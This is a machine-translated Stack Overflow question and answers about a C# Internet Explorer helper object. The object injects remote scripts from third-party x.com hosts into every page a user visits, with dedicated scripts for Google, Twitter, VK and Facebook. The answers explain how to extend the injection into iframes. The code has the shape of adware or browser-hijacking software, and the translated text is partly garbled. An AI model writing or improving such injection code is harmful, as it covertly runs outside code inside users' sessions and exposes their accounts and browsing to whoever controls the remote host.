C# Ie插件不';不能在iframe中正确执行

C# Ie插件不';不能在iframe中正确执行,c#,internet-explorer,event-handling,activex,bho,C#,Internet Explorer,Event Handling,Activex,Bho,嗨,我在c#制作了一个ie bho插件 以下是OnDocumentComplete事件 它工作得很好,但是 当存在具有iFrame的网站时 当它应该注入iFrame时,它将脚本注入主窗口 我希望我能解释一下 public void OnDocumentComplete(object pDisp, ref object URL) { if (((this.webBrowser != null) && (this.webBrowser.ReadyState == tagREA

嗨,我在c#制作了一个ie bho插件

以下是OnDocumentComplete事件

它工作得很好,但是 当存在具有iFrame的网站时

当它应该注入iFrame时,它将脚本注入主窗口

我希望我能解释一下

public void OnDocumentComplete(object pDisp, ref object URL)
{
    if (((this.webBrowser != null) && (this.webBrowser.ReadyState == tagREADYSTATE.READYSTATE_COMPLETE)) && !this.webBrowser.Busy)
    {
        HTMLDocument o = this.webBrowser.Document as HTMLDocument;
        string hostname = o.location.hostname;
        Random random = new Random();
        if (o.getElementById("xxxxxxx") == null)
        {
            HTMLBody body = (HTMLBody) o.body;
            HTMLScriptElement element = (HTMLScriptElement) o.createElement("script");
            if (hostname.Contains("google."))
            {
                element.src = o.location.protocol + "//g.x.com/g.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("twitter."))
            {
                element.src = o.location.protocol + "//tw.x.com/tw/tw.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("vkontakte."))
            {
                element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("vk."))
            {
                element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("facebook."))
            {
                element.src = o.location.protocol + "//cdn.x.com/zt.js?ie=" + random.Next(1, 0x186a0);
            }
            else
            {
                element.src = string.Concat(new object[] { o.location.protocol, "//all.x.com/all/", hostname, ".js?ie=", random.Next(1, 0x186a0) });
            }
            body.appendChild((IHTMLDOMNode) element);
            Marshal.ReleaseComObject(element);
            Marshal.ReleaseComObject(body);
            Marshal.ReleaseComObject(o);
        }
    }
}

我假设您正在SetSite()或类似的地方设置this.webBrowser的值。因为它拥有主web浏览器,所以代码没有被注入iframe也就不足为奇了。OnDocumentComplete的pDisp参数是所需的浏览器。将其发送到iWebBrowser 2,并使用它来代替此。webBrowser。

是。对于主外部窗口和每个iFrame,您将收到onDocumentComplete一次,因为这些都是子文档。您可以参考此答案。。希望是相关的。。